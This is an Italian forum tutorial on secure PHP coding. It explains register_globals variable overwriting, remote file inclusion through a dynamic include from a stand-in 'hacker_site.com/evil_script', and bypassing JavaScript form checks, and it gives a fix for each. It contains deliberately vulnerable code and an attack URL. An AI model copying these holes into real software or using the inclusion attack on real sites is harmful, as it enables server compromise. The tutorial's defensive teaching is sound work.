Questa pillola, ampliata e aggiornata, è diventata una Guida di HTML.it.

La trovate all'indirizzo http://php.html.it/guide/leggi/121/g...urezza-di-php/



Beware of…o sulla programmazione “sicura” in PHP

Con questa mia intenderei fornire un contributo ad alcune questioni legate alla sicurezza nello scrivere codice PHP. Mio intento è di aggiungerne man mano altri, nel tempo.
Spero possano essere utili e confido nelle Vs. segnalazioni riguardo errori (sicuramente) presenti, precisazioni e via dicendo, essendo io comunque nell’ordine di idee di scrivere una guida corretta e completa e postarla, nel futuro, in una pillola ulteriore.

Grazie in anticipo a tutti quanti inseriranno commenti costruttivi.

Sommario

1. Sulla direttiva register_globals (“Cos’è? Si mangia?”)
2. Sugli include dinamici (“Se includi un file in quel modo, entro nel tuo sistema. E tu sei un fagiano.”)
3. Sui form e sulle validazioni client-side (“I controlli JavaScript lato client sono a prova di Chuck Norris?”. "No, niente è a prova di Chuck Norris.")
4. Database: SQL injections (“Fanno male, molto male. Cosa sono e cosa posso fare per difendermi?”)
5. Sicurezza dei dati remoti (“Come impedire che un file dati venga richiamato da URL?”)


1. Sulla direttiva register globals

1.1 Vulnerabilità

La direttiva register_globals del php.ini, se abilitata, permette allo script PHP di creare variabili globali secondo quanto ricevuto via query string, form, cookies o sessione.
Ciò significa, nella pratica, che se uno script PHP viene richiamato da browser come:

mio_script.php?documento=4&pagina=2

per esso verranno create due variabili (globali) con tali nomi e valori. Questo metodo di trattamento dati, inizialmente creato per semplicità di notazione (le scritture $_GET[‘documento’] o $documento sono in questo caso equivalenti), successivamente ha suscitato l’attenzione degli sviluppatori in quanto possibile veicolo di exploit su codice mal pensato.

Poniamo infatti che register_globals sia abilitato e l’applicazione Web PHP abbia al suo interno un codice simile al seguente:
Codice PHP:
<?

function autenticazione()
  {
  if (
procedura_complicatissima) return true;
  else return 
false;
  }

// main

if (autenticazione())
  {
  
$utente_autorizzato true;
  }

if (
$utente_autorizzato
  {
  echo 
"Benvenuto utente autorizzato.";
  
il_resto_dello_script();
  }

?>
La function autenticazione() autentica l’utente, in base a qualsiasi metodo il programmatore ritenga opportuno, ed il risultato di tale procedura è memorizzato nella variabile $utente_autorizzato.

Tuttavia, non è assolutamente necessario che un hacker (che conosca comunque il codice del programma) superi la procedura di autenticazione per accedere al sistema: gli è sufficiente richiamare lo script con ?utente_autorizzato=1 in query string, in quanto $utente_autorizzato (variabile) è ugualmente valorizzato da $_GET[‘utente_autorizzato’] (query string).

1.2 Soluzioni

E’ quindi lampante perché register_globals debba essere settato ad OFF.

In ogni modo, che si intenda settare register_globals ad OFF o meno, l’esempio sopra riportato mostra l’importanza di definire ed inizializzare tutte le variabili usate nello script, all’inizio dello stesso. Mentre altri linguaggi obbligano a farlo, PHP si dimostra decisamente più permissivo al riguardo.

Aggiungendo semplicemente l’inizializzazione della variabile $utente_autorizzato ad inizio script, l’exploit non funziona nemmeno con register_globals settato ad ON.

Codice PHP:
// main
$utente_autorizzato false
Durante lo sviluppo del programma è consigliabile settare la direttiva error_reporting ad E_ALL nel php.ini, ciò che evidenzia in fase di runtime ogni variabile non inizializzata:

codice:
Notice: Undefined variable: variabile in percorso\cartella\script.php on line xx
[Output-tipo su Windows]

Dovendo conoscere i dettagli del codice, va da sé che tali vulnerabilità riguardano essenzialmente gli applicativi open source, anche se esse vanno sempre più verso la più completa estinzione, in quanto la direttiva in questione generalmente è sempre disabilitata.


2. Sugli include dinamici

2.1 Introduzione

Si abbia il seguente script, test.php, sul WebServer di http://dummy_site.com, poniamo all’indirizzo:

http://dummy_site.com/test.php.
Codice PHP:
<?
if (isset($_GET['include_script'])) include($_GET['include_script']);
// altro_codice;
?>
test.php include un file dinamicamente, sulla base di quanto ricevuto via query string. Ricevendo in GET, ad esempio: ?include_script=dummy_script.php, quest’ultimo script viene in esso incluso.

Sicuramente non rientra nelle intenzioni del programmatore l’eventualità che possa venir incluso un file remoto. Nelle intenzioni dell’hacker invece sì…
Ecco come: sia http://hacker_site.com/evil_script come di seguito:
Codice PHP:
<?
echo "Inclusione dannosa riuscita.";
// altre istruzioni dannose;
?>
Se la direttiva allow_url_fopen del php.ini di dummy_site è abilitata (1), l’hacker, inserendo da browser l’indirizzo:

http://dummy_site.com/test.php?inclu...%2Fevil_script

può facilmente eseguire il codice di evil_script (2) su dummy_site.com. E prevedibilmente la fantasia dell’hacker sarà ben diversa dalla mia in quanto ad istruzioni eseguite…

2.2 Possibile rimedio

Nel caso ci si aspetti che il file da includere (ad esempio dummy_script.php) sia nella stessa cartella di test.php, è semplicemente necessario un controllo sulla cartella stessa, in fase di inclusione:
Codice PHP:
if ((isset($_GET['include_script'])) && (dirname($_GET['include_script']) == ".")) include($_GET['include_script']); 
E’ molto difficile, infatti, riuscire a salvare un file nella virtual directory di un server da remoto, se non in possesso dei relativi permessi.

Rimane da sottolineare come gli include statici, del tipo: include(“mio_file.php”) non nascondono vulnerabilità.
____

(1) Lo è di default.
(2) Palesemente quanto scritto in query string è la codifica standard di “http://hacker_site.com/evil_script”


3. Sui form e sulle validazioni client-side (JavaScript)

3.1 Introduzione

I controlli client-side su quanto digitato o fatto dall’utente servono unicamente all’utente stesso come feedback delle sue azioni; per ciò che concerne la sicurezza, i controlli lato server divengono strettamente necessari, tanto più necessari quanto più l’applicazione Web sia diffusa e tratti dati sensibili.

Poniamo l’esempio in cui si voglia evitare di inserire dati duplicati in un ipotetico box “Nome tipo” di un form Web.

Il codice necessario è, banalmente, il seguente:

codice:
function verify_name_tipodoc() 
  {
  filesEsistenti=new Array();
  filesEsistenti=['FAX (GENERICI EMESSI)','DOCUMENTO GENERICO','COMUNICAZIONI INTERNE','COMMESSA']

  if (filesEsistenti.in_array(document.form1.nome_tipo.value.toUpperCase()))
    {
    alert ("Il nome utilizzato è già esistente ");
    document.form1.nome_tipo.value = "";
    document.form1.nome_tipo.focus();
    return true;
    }
  }
Funzione JavaScript richiamata tramite lo handler OnBlur nel relativo input box HTML:

codice:
<input type="text" name="nome_tipo" OnBlur="verify_name_tipodoc()">
Essendo, a sua volta, il form dichiarato come segue:
codice:
<form action="insert_tipo.php" method="post" enctype="multipart/form-data" name="form1" id="form1" 
OnSubmit="return check(this)">
3.2 Vulnerabilità e conclusioni

Un controllo lato client di questo tipo è però “bypassabile” in ben due maniere semplicissime:

1. E’ sufficiente salvare il file HTML ed omettere i controlli JavaScript detti, avendo cura di modificare il parametro action del form in modo che punti all’URL del WebServer in questione (qui: http://www.my_srv.com):
codice:
<form action="http://www.my_srv.com/insert_tipo.php" method="post" enctype="multipart/form-data" name="form1" id="form1">
codice:
<input type="text" name="nome_tipo" OnBlur="">
2. Come dite? Molto rumore per nulla? Bastava disabilitare il JavaScript dalle opzioni del browser? Già…

Senza un controllo lato server, abbiamo, in questo caso, con elevatissima probabilità, procurato un danno al programma remoto: l’importanza del data filtering ricorre ancora una volta.

E’ da notare che un controllo di sessione non può nulla, in quanto, una volta autenticati, possiamo spedire qualsiasi cosa desideriamo dal nostro client al server remoto.